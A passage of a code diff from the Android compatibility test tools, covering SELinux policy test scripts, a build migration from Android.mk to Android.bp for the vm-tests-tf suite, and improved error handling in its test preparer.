+++ b/tools/selinux/SELinuxNeverallowTestFrame.py
@@ -155,7 +155,6 @@
         pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
         pb.redirectErrorStream(true);
         Process p = pb.start();
-        p.waitFor();
         BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
         String line;
         StringBuilder errorString = new StringBuilder();
@@ -163,6 +162,7 @@
             errorString.append(line);
             errorString.append("\\n");
         }
+        p.waitFor();
         assertTrue("The following errors were encountered when validating the SELinux"
                    + "neverallow rule:\\n" + neverallowRule + "\\n" + errorString,
                    errorString.length() == 0);
diff --git a/tools/selinux/SELinuxNeverallowTestGen.py b/tools/selinux/SELinuxNeverallowTestGen.py
index a28863b..78b0631 100755
--- a/tools/selinux/SELinuxNeverallowTestGen.py
+++ b/tools/selinux/SELinuxNeverallowTestGen.py
@@ -94,7 +94,7 @@
 if __name__ == "__main__":
     # check usage
     if len(sys.argv) != 3:
-        print usage
+        print (usage)
         exit(1)
     input_file = sys.argv[1]
     output_file = sys.argv[2]
diff --git a/tools/selinux/seamendc-test.sh b/tools/selinux/seamendc-test.sh
new file mode 100644
index 0000000..3221502
--- /dev/null
+++ b/tools/selinux/seamendc-test.sh
@@ -0,0 +1,54 @@
+#!/bin/bash
+set -e
+
+# Generate the amend policy in cil format.
+echo "(type foo)" > test_sepolicy.cil
+echo "(typeattribute bar)" >> test_sepolicy.cil
+echo "(typeattributeset bar (foo))" >> test_sepolicy.cil
+echo "(allow foo bar (file (read)))" >> test_sepolicy.cil
+
+# Generate the definitions file containing (re)definitions of existing types/classes/attributes, and
+# of preliminary symbols. This file is needed by seamendc to successfully parse the CIL policy.
+echo "(sid test)" > definitions.cil
+echo "(sidorder (test))" >> definitions.cil
+echo "(class file (read))" >> definitions.cil
+echo "(classorder (file))" >> definitions.cil
+
+# Compile binary and amend policies using secilc.
+./secilc -m -M true -G -N -c 30 \
+  -o sepolicy+test-secilc.binary \
+  plat_sepolicy.cil \
+  plat_pub_versioned.cil \
+  system_ext_sepolicy.cil \
+  product_sepolicy.cil \
+  vendor_sepolicy.cil \
+  odm_sepolicy.cil \
+  test_sepolicy.cil
+
+# Compile binary policy and use seamendc to amend the binary file.
+./secilc -m -M true -G -N -c 30 \
+  -o sepolicy.binary \
+  plat_sepolicy.cil \
+  plat_pub_versioned.cil \
+  system_ext_sepolicy.cil \
+  product_sepolicy.cil \
+  vendor_sepolicy.cil \
+  odm_sepolicy.cil
+
+./seamendc -vv \
+  -o sepolicy+test-seamendc.binary \
+  -b sepolicy.binary \
+  test_sepolicy.cil definitions.cil
+
+# Diff the generated binary policies.
+./searchpolicy --allow --libpath libsepolwrap.so sepolicy+test-secilc.binary \
+  -s foo > secilc.diff
+./searchpolicy --allow --libpath libsepolwrap.so sepolicy+test-seamendc.binary \
+  -s foo > seamendc.diff
+diff secilc.diff seamendc.diff
+
+./searchpolicy --allow --libpath libsepolwrap.so sepolicy+test-secilc.binary \
+  -t foo > secilc.diff
+./searchpolicy --allow --libpath libsepolwrap.so sepolicy+test-seamendc.binary \
+  -t foo > seamendc.diff
+diff secilc.diff seamendc.diff
diff --git a/tools/vm-tests-tf/Android.bp b/tools/vm-tests-tf/Android.bp
index c9b656a..97c17196 100644
--- a/tools/vm-tests-tf/Android.bp
+++ b/tools/vm-tests-tf/Android.bp
@@ -101,3 +101,80 @@
     ],
     installable: false,
 }
+
+java_library_host {
+    name: "cts-tf-dalvik-buildutil",
+    srcs: [
+        "build/src/**/*.java",
+        "src/**/*.java",
+    ],
+    libs: [
+        "junit",
+        "jsr305",
+        "d8",
+        "smali",
+    ],
+}
+
+java_genrule_host {
+    name: "vm-tests-tf-lib",
+    tools: [
+        "soong_zip",
+        "d8"
+    ],
+    srcs: [
+        ":cts-tf-dalvik-buildutil",
+        ":vmtests-generated-resources",
+        ":vmtests-mains",
+        ":cts-vmtests-dot",
+        ":junit",
+        ":d8",
+        ":smali",
+    ],
+    cmd: "echo Generating BuildDalvikSuite tests" +
+         " && mkdir -p $(genDir)/classes" +
+         " && unzip -bq $(location :cts-tf-dalvik-buildutil) -d $(genDir)/classes" +
+         " && mkdir -p $(genDir)/tests" +
+         " && java" +
+         "     -cp $(location :cts-tf-dalvik-buildutil):$(location :junit):$(location :d8):$(location :smali):$(location :cts-vmtests-dot)" +
+         "     util.build.BuildDalvikSuite" +
+         "     cts/tools/vm-tests-tf/src" +
+         "     $(genDir)/tests" +
+         "     $(genDir)/classes" +
+         " && echo Generating dexcore tests" +
+         " && $(location soong_zip) -jar -o $(genDir)/tests/dot/junit/dexcore.jar-class.jar" +
+         "     -C $(genDir)/classes" +
+         "         -f $(genDir)/classes/dot/junit/DxUtil.class" +
+         "         -f $(genDir)/classes/dot/junit/DxAbstractMain.class" +
+         "         -f $(genDir)/classes/dot/junit/AssertionFailedException.class" +
+         " && mkdir -p $(genDir)/dexcore" +
+         " && $(location d8) -JXms16M -JXmx2048M" +
+         "     --output $(genDir)/dexcore" +
+         "     $(genDir)/tests/dot/junit/dexcore.jar-class.jar" +
+         " && $(location soong_zip) -jar -o $(genDir)/tests/dot/junit/dexcore.jar" +
+         "     -C $(genDir)/dexcore" +
+         "         -D $(genDir)/dexcore" +
+         " && echo Combining tests" +
+         " && mkdir -p $(genDir)/out" +
+         " && unzip -bq $(location :vmtests-generated-resources) -d $(genDir)/generated-resources" +
+         " && cp $(location :vmtests-mains) $(genDir)/mains.jar" +
+         " && $(location soong_zip) -o $(out)" +
+         "     -C $(genDir)/generated-resources" +
+         "         -D $(genDir)/generated-resources" +
+         "     -C $(genDir)" +
+         "         -D $(genDir)/tests" +
+         "     -j -P tests -f $(genDir)/mains.jar",
+    out: ["vm-tests-tf-lib.jar"],
+}
+
+java_test_host {
+    name: "vm-tests-tf",
+    static_libs: [
+        "vm-tests-tf-lib"
+    ],
+    test_config: "AndroidTest.xml",
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/tools/vm-tests-tf/Android.mk b/tools/vm-tests-tf/Android.mk
deleted file mode 100644
index 18449e1..0000000
--- a/tools/vm-tests-tf/Android.mk
+++ /dev/null
@@ -1,121 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-# test dex library
-# ============================================================
-include $(CLEAR_VARS)
-
-# custom variables used to generate test description. do not touch!
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := cts-tf-dalvik-lib
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MODULE_CLASS := JAVA_LIBRARIES
-LOCAL_MODULE_TAGS := optional
-LOCAL_JAVA_LIBRARIES := junit
-include $(BUILD_JAVA_LIBRARY)
-
-cts-tf-dalvik-lib.jar := $(full_classes_jar)
-
-# buildutil java library
-# ============================================================
-include $(CLEAR_VARS)
-
-# custom variables used by cts/tools/utils/CollectAllTests.java to generate test description. do not touch!
-LOCAL_TEST_TYPE := vmHostTest
-LOCAL_JAR_PATH := android.core.vm-tests-tf.jar
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src build/src)
-
-LOCAL_MODULE := cts-tf-dalvik-buildutil
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MODULE_CLASS := JAVA_LIBRARIES
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_JAVA_LIBRARIES := junit jsr305 d8 smali
-
-LOCAL_CLASSPATH := $(HOST_JDK_TOOLS_JAR)
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-# Buid android.core.vm-tests-tf.jar
-# ============================================================
-#
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := vm-tests-tf
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MODULE_CLASS := JAVA_LIBRARIES
-LOCAL_MODULE_SUFFIX := $(COMMON_JAVA_PACKAGE_SUFFIX)
-LOCAL_IS_HOST_MODULE := true
-LOCAL_BUILT_MODULE_STEM := javalib.jar
-intermediates := $(call local-intermediates-dir)
-# Install the module as $(intermediates)/android.core.vm-tests-tf.jar.
-LOCAL_INSTALLED_MODULE_STEM := android.core.vm-tests-tf.jar
-LOCAL_MODULE_PATH := $(intermediates)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-include $(BUILD_SYSTEM)/base_rules.mk
-
-vmteststf_dep_jars := \
-    $(HOST_JDK_TOOLS_JAR) \
-    $(cts-tf-dalvik-lib.jar) \
-    $(addprefix $(HOST_OUT_JAVA_LIBRARIES)/, cts-tf-dalvik-buildutil.jar junit.jar d8.jar smali.jar) \
-    $(call intermediates-dir-for,JAVA_LIBRARIES,cts-vmtests-dot,HOST,COMMON)/classes.jar
-
-vmtests_generated_resources_jar := \
-    $(call intermediates-dir-for,JAVA_LIBRARIES,vmtests-generated-resources,HOST)/javalib.jar
-vmtests_mains_generated_jar := \
-    $(call intermediates-dir-for,JAVA_LIBRARIES,vmtests-mains,,COMMON)/javalib.jar
-
-$(LOCAL_BUILT_MODULE): PRIVATE_SRC_FOLDER := $(LOCAL_PATH)/src
-$(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_CLASSES := $(call intermediates-dir-for,JAVA_LIBRARIES,cts-tf-dalvik-buildutil,HOST)/classes
-$(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES := $(intermediates)/tests
-$(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_DEXCORE_JAR := $(intermediates)/tests/dot/junit/dexcore.jar
-$(LOCAL_BUILT_MODULE): PRIVATE_CLASS_PATH := $(call normalize-path-list, $(vmteststf_dep_jars))
-$(LOCAL_BUILT_MODULE): PRIVATE_VMTESTS_GENERATED_RESOURCES := $(vmtests_generated_resources_jar)
-$(LOCAL_BUILT_MODULE): PRIVATE_VMTESTS_MAINS_GENERATED := $(vmtests_mains_generated_jar)
-$(LOCAL_BUILT_MODULE) : $(vmteststf_dep_jars) $(HOST_OUT_JAVA_LIBRARIES)/tradefed.jar $(DX) $(vmtests_generated_resources_jar) $(vmtests_mains_generated_jar)
-	$(hide) rm -rf $(dir $@) && mkdir -p $(dir $@)
-	$(hide) mkdir -p $(dir $(PRIVATE_INTERMEDIATES_DEXCORE_JAR))
-	# generated and compile the host side junit tests
-	@echo "Write generated Main_*.java"
-	$(hide) $(JAVA) \
-	    -cp $(PRIVATE_CLASS_PATH) util.build.BuildDalvikSuite $(PRIVATE_SRC_FOLDER) $(PRIVATE_INTERMEDIATES) \
-		$(PRIVATE_INTERMEDIATES_CLASSES)
-	@echo "Generate $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)"
-	$(hide) $(JAR) -cf $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar \
-		$(addprefix -C $(PRIVATE_INTERMEDIATES_CLASSES) , dot/junit/DxUtil.class dot/junit/DxAbstractMain.class dot/junit/AssertionFailedException.class)
-	$(hide) mkdir -p $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).tmp
-	$(hide) $(DX_COMMAND) --output $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).tmp \
-		$(if $(NO_OPTIMIZE_DX), --debug) $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar && rm -f $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar
-	$(hide) cd $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).tmp && zip -q -r $(abspath $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)) .
-	$(hide) cp $(PRIVATE_VMTESTS_GENERATED_RESOURCES) $@
-	$(hide) cp $(PRIVATE_VMTESTS_MAINS_GENERATED) $(dir $@)/tests/mains.jar
-	$(hide) cd $(dir $@) && zip -q -r $(notdir $@) tests
-
-# Clean up temp vars
-intermediates :=
-vmteststf_dep_jars :=
-vmtests_generated_resources_jar :=
-vmtests_mains_generated_jar :=
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tools/vm-tests-tf/AndroidTest.xml b/tools/vm-tests-tf/AndroidTest.xml
index 0bbe411..57a8c8f 100644
--- a/tools/vm-tests-tf/AndroidTest.xml
+++ b/tools/vm-tests-tf/AndroidTest.xml
@@ -23,7 +23,7 @@
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="android.core.vm.targetprep.VmTestPreparer" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
-        <option name="jar" value="android.core.vm-tests-tf.jar" />
+        <option name="jar" value="vm-tests-tf.jar" />
         <option name="runtime-hint" value="51m" />
     </test>
 </configuration>
diff --git a/tools/vm-tests-tf/build/src/util/build/BuildDalvikSuite.java b/tools/vm-tests-tf/build/src/util/build/BuildDalvikSuite.java
index 0b069b5..2e0f068 100644
--- a/tools/vm-tests-tf/build/src/util/build/BuildDalvikSuite.java
+++ b/tools/vm-tests-tf/build/src/util/build/BuildDalvikSuite.java
@@ -76,8 +76,8 @@
     }
 
     private static void printUsage() {
-        System.out.println("usage: java-src-folder output-folder classpath " +
-                           "generated-main-files compiled_output");
+        System.out.println("usage: $(JAVA) -cp $(CLASSPATH) util.build.BuildDalvikSuite" +
+                " JAVASRC_FOLDER OUTPUT_FOLDER COMPILED_CLASSES_FOLDER");
     }
 
     class MyTestHandler implements TestHandler {
diff --git a/tools/vm-tests-tf/build/src/util/build/D8BuildStep.java b/tools/vm-tests-tf/build/src/util/build/D8BuildStep.java
index 1e2c281..20fa8b0f 100644
--- a/tools/vm-tests-tf/build/src/util/build/D8BuildStep.java
+++ b/tools/vm-tests-tf/build/src/util/build/D8BuildStep.java
@@ -37,7 +37,7 @@
         D8Command.builder()
             .setMode(CompilationMode.DEBUG)
             .setMinApiLevel(1000)
-            .setEnableDesugaring(false);
+            .setDisableDesugaring(true);
   }
 
   @Override
diff --git a/tools/vm-tests-tf/targetprep/src/android/core/vm/targetprep/VmTestPreparer.java b/tools/vm-tests-tf/targetprep/src/android/core/vm/targetprep/VmTestPreparer.java
index 6a17e91..dd23d79 100644
--- a/tools/vm-tests-tf/targetprep/src/android/core/vm/targetprep/VmTestPreparer.java
+++ b/tools/vm-tests-tf/targetprep/src/android/core/vm/targetprep/VmTestPreparer.java
@@ -39,7 +39,7 @@
 @OptionClass(alias="vm-test-preparer")
 public class VmTestPreparer implements ITargetCleaner {
 
-    private static final String JAR_FILE = "android.core.vm-tests-tf.jar";
+    private static final String JAR_FILE = "vm-tests-tf.jar";
     private static final String TEMP_DIR = "/data/local/tmp";
     private static final String VM_TEMP_DIR = TEMP_DIR +"/vm-tests";
 
@@ -50,10 +50,11 @@
     public void setUp(ITestDevice device, IBuildInfo buildInfo)
             throws TargetSetupError, BuildError, DeviceNotAvailableException {
         CompatibilityBuildHelper helper = new CompatibilityBuildHelper(buildInfo);
-        if (!installVmPrereqs(device, helper)) {
-            throw new RuntimeException(String.format(
-                    "Failed to install vm-tests prereqs on device %s",
-                    device.getSerialNumber()));
+        try {
+            installVmPrereqs(device, helper);
+        } catch (Exception ex) {
+            throw new RuntimeException("Failed to install vm-tests prereqs on device "
+                    + device.getSerialNumber(), ex);
         }
     }
 
@@ -71,10 +72,10 @@
      *
      * @param device the {@link ITestDevice}
      * @param ctsBuild the {@link CompatibilityBuildHelper}
-     * @throws DeviceNotAvailableException
-     * @return true if test jar files are extracted and pushed to device successfully
+     * @throws DeviceNotAvailableException if device is unavailable
+     * @throws RuntimeException if there is another failure
      */
-    private boolean installVmPrereqs(ITestDevice device, CompatibilityBuildHelper ctsBuild)
+    private void installVmPrereqs(ITestDevice device, CompatibilityBuildHelper ctsBuild)
             throws DeviceNotAvailableException {
         cleanupDeviceFiles(device);
         // Creates temp directory recursively. We also need to create the dalvik-cache directory
@@ -84,14 +85,13 @@
         try {
             File jarFile = ctsBuild.getTestFile(JAR_FILE);
             if (!jarFile.exists()) {
-                CLog.e("Missing jar file %s", jarFile.getPath());
-                return false;
+                throw new RuntimeException("Missing jar file " + jarFile.getPath());
             }
 
             String jarOnDevice = VM_TEMP_DIR + "/" + JAR_FILE;
             if (!device.pushFile(jarFile, jarOnDevice)) {
-                CLog.e("Failed to push vm test jar");
-                return false;
+                throw new RuntimeException("Failed to push vm test jar " + jarFile + " to "
+                        + jarOnDevice);
             }
 
             // TODO: Only extract tests directory, avoid rm.
@@ -99,17 +99,17 @@
                     + " && rm -rf " + VM_TEMP_DIR + "/dot*"
                     + " && mv " + VM_TEMP_DIR + "/tests/* " + VM_TEMP_DIR + "/"
                     + " && echo Success";
+
             CommandResult result = device.executeShellV2Command(cmd);
+
             if (result.getStatus() != CommandStatus.SUCCESS) {
-                CLog.e("Failed to extract and prepare vm tests jar");
-                return false;
+                throw new RuntimeException("Failed to extract and prepare vm tests jar: [" + cmd
+                        + "] with stderr: " + result.getStderr());
             }
         } catch (IOException e) {
-            CLog.e("Failed to extract jar file %s and sync it to device %s.",
-                    JAR_FILE, device.getSerialNumber());
-            return false;
+            throw new RuntimeException("Failed to extract jar file " + JAR_FILE
+                    + " and sync it to device.", e);
         }
-        return true;
     }
 
     /**